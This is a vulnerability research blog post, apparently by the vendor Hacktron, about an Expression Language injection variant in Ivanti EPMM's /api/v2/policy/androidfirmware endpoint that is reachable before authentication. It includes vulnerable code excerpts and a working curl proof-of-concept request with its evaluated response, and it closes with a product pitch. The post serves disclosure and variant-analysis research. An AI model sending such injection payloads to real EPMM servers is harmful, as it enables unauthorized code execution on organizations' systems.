Hacktron finds another pre-auth RCE variant in Ivanti EPMM

Following the buzz around CVE-2025-4427 and CVE-2025-4428, which described a pre-auth RCE chain in Ivanti EPMM, we asked ourselves a simple question:

Could there be more variants lurking beneath the surface?

Our AI-powered security researcher, Hacktron, got to work. Its mission was clear: analyze similar code paths, validate error handling logic, and trace other EL injection surfaces.

And guess what? Hacktron delivered!

It discovered a previously undocumented pre-authenticated RCE variant in Ivanti EPMM via a different endpoint: /api/v2/policy/androidfirmware. This finding highlights the importance of variant analysis in modern vulnerability research and demonstrates the power of automated tooling like Hacktron AI.

Another EL Injection

Just like the initially reported vulnerability, this new variant also stems from an Expression Language (EL) injection flaw. The root cause lies within the validation process of user-supplied data. Specifically, the AndroidFirmwarePolicyRequestValidator processes the deviceModel parameter, which is part of the ZebraFirmwareSelection object within the request body.

If a validation error occurs related to this deviceModel, the provided input is directly incorporated into the error message template.

As we learned from the previous analysis blogposts by ProjectDisovery and WatchTowr, Hibernate Validator’s ConstraintValidatorContext.buildConstraintViolationWithTemplate(String messageTemplate) function allows developers to create dynamic error messages. However, if the messageTemplate incorporates unsanitized user input, it creates a critical security issue. Hibernate Validator, especially when integrated with Spring, can interpret ${...} within these templates as Expression Language (EL) expressions.

The /api/v2/policy/androidfirmware endpoint, handled by AndroidFirmwarePolicyControllerV2, is protected by Spring Security’s @PreAuthorize annotation, which should restrict access to authorized users.

Spring Order of Operations

Although the endpoint is protected with Spring Security’s @PreAuthorize annotation, the bug lies in the order of operations:

  • Bean validation (via @Valid) runs before Spring Security authorization.
  • That means attackers can trigger EL-based validation errors before any auth checks are enforced.

This design flaw allowed unauthenticated users to trigger validation logic, and ultimately, execute code.

Hacktron’s Findings

Hacktron traced the data flow and pinpointed the vulnerable components:

The AndroidFirmwarePolicyControllerV2.java controller handles the /api/v2/policy/androidfirmware endpoint with createPolicy (POST) and updatePolicy (PUT) methods. Both methods use @PreAuthorize for access control and @Valid to trigger validation of the AndroidFirmwarePolicyRequest.

1
2
3
4
5
6
@RequestMapping(method = {RequestMethod.POST})
@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_POLICY_EDIT'})")
@ResponseBody
public Response createPolicy(@RequestParam(defaultValue = "0") Integer adminDeviceSpaceId, @Valid @RequestBody final AndroidFirmwarePolicyRequest policyRequest, /* ... */) {
    // ...
}
1
2
3
4
5
6
@RequestMapping(method = {RequestMethod.PUT}, value = {"/{policyId}"})
@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_POLICY_EDIT'})")
@ResponseBody
public Response updatePolicy(@RequestParam(defaultValue = "0") int adminDeviceSpaceId, @PathVariable @Valid final Long policyId, @Valid @RequestBody final AndroidFirmwarePolicyRequest policyRequest, /* ... */) {
    // ...
}

This custom validator triggered by @ValidAndroidFirmwarePolicyRequest on the request object, contains the vulnerable logic. The validateZebraFirmwareSelection method, called during validation, can lead to the invocation of setLocalizedErrorMessageToContext.

1
2
3
4
5
6
private boolean setLocalizedErrorMessageToContext(final ConstraintValidatorContext context, final EFOTAMessageKey messageKey, Object... params) {
    String formatMessage = this.localizedMessageBuilder.getLocalizedMessage(messageKey, params); // 'params' can contain user-controlled deviceModel
    context.disableDefaultConstraintViolation();
    context.buildConstraintViolationWithTemplate(formatMessage).addConstraintViolation(); // The dangerous sink
    return false;
}

isValid -> isValidZebraFirmwareSetting -> validateZebraFirmwareSelection -> setLocalizedErrorMessageToContext

Proof of Concept: Injecting EL

To demonstrate the potential vulnerability, Hacktron crafted the following curl request. By injecting an EL expression into the deviceModel field and ensuring other validation criteria trigger an error message that uses this field, we can observe if the expression is evaluated.

cURL request:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
curl -X POST -k -H "Content-Type: application/json" --data '''
{
  "policyName": "adminzz",
  "active": true,
  "policyPriority": 1,
  "policylistname": 2,
  "description": "aaaaa",
  "enableAndroidSystemUpdate": true,
  "updateType": "automatic",
  "updateWindowStartHour": "",
  "updateWindowEndHour": "",
  "forceUpdateStartDate": "",
  "forceUpdateStartHour": "",
  "zebraRequireCharging": true,
  "zebraRequireIdle": true,
  "policyId": 3,
  "priority": 0,
  "enableSamsungFirmwareUpdate": false,
  "enableZebraFirmwareUpdate": true,
  "zebraDownloadOverMeteredNetwork": false,
  "freezePeriods": [],
  "deviceFirmwareSelections": [],
  "zebraFirmwareSelections": [
    {
      "deviceModel": "${3*3333}",
      "targetBuildId": "NA",
      "currentBuildId": "dummyBuildId",
      "downloadUrl": "http://example.com/dummy.zip",
      "fileSize": 1024,
      "osVersion": "1x0.0",
      "artifactFingerprint": "dummyfingerprint",
      "securityPatchDate": "2023-01-01"
    }
  ],
  "forceUpdateEndDate": "",
  "forceUpdateEndHour": ""
}
''' https://ivant-epmm/api/v2/policy/androidfirmware

Response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
  "messages": [
    {
      "type": "Error",
      "messageKey": "com.mobileiron.vsp.messages.validation.global.error",
      "localizedMessage": "9999: The Target Build ID for the selected firmware cannot be null.",
      "messageParameters": [
        "9999: The Target Build ID for the selected firmware cannot be null."
      ]
    }
  ]
}

Automating Variant Analysis with Hacktron

We first tasked Hacktron with reversing the original CVE (CVE-2025-4427). Once it successfully identified the known vulnerability and understood the underlying EL injection via Hibernate Validator, we asked it to initiate variant analysis with the following prompt:

Your task is to find a variant of the below described vulnerability…

We initially thought this is a 0-day and reported the bug to Ivanti. However, after reporting, we concluded that this variant doesn’t affect the latest version due to the Hibernate Validator version upgrade. Still, it reveals how dangerous code patterns can slip through even after fixing known sinks (ScepSubjectValidator and DeviceFeatureUsageReportQueryRequestValidator).

As Google Project Zero recently said in their latest blogpost:

We also feel that this variant-analysis task is a better fit for current LLMs than the more general open-ended vulnerability research problem. By providing a starting point – such as the details of a previously fixed vulnerability – we remove a lot of ambiguity from vulnerability research, and start from a concrete, well-founded theory: “This was a previous bug; there is probably another similar one somewhere”.

This is exactly what Hacktron did, turning a confirmed vulnerability into a seed for broader pattern matching. It didn’t rely on generic heuristics or guesswork; it learned from the original flaw and applied targeted reasoning to the rest of the codebase.

Build Securely. Choose Hacktron

Want to see how Hacktron can help secure your codebase and identify lurking vulnerabilities? Contact us at https://app.hacktron.ai/contact

Stay vigilant, and let’s build a more secure digital world together.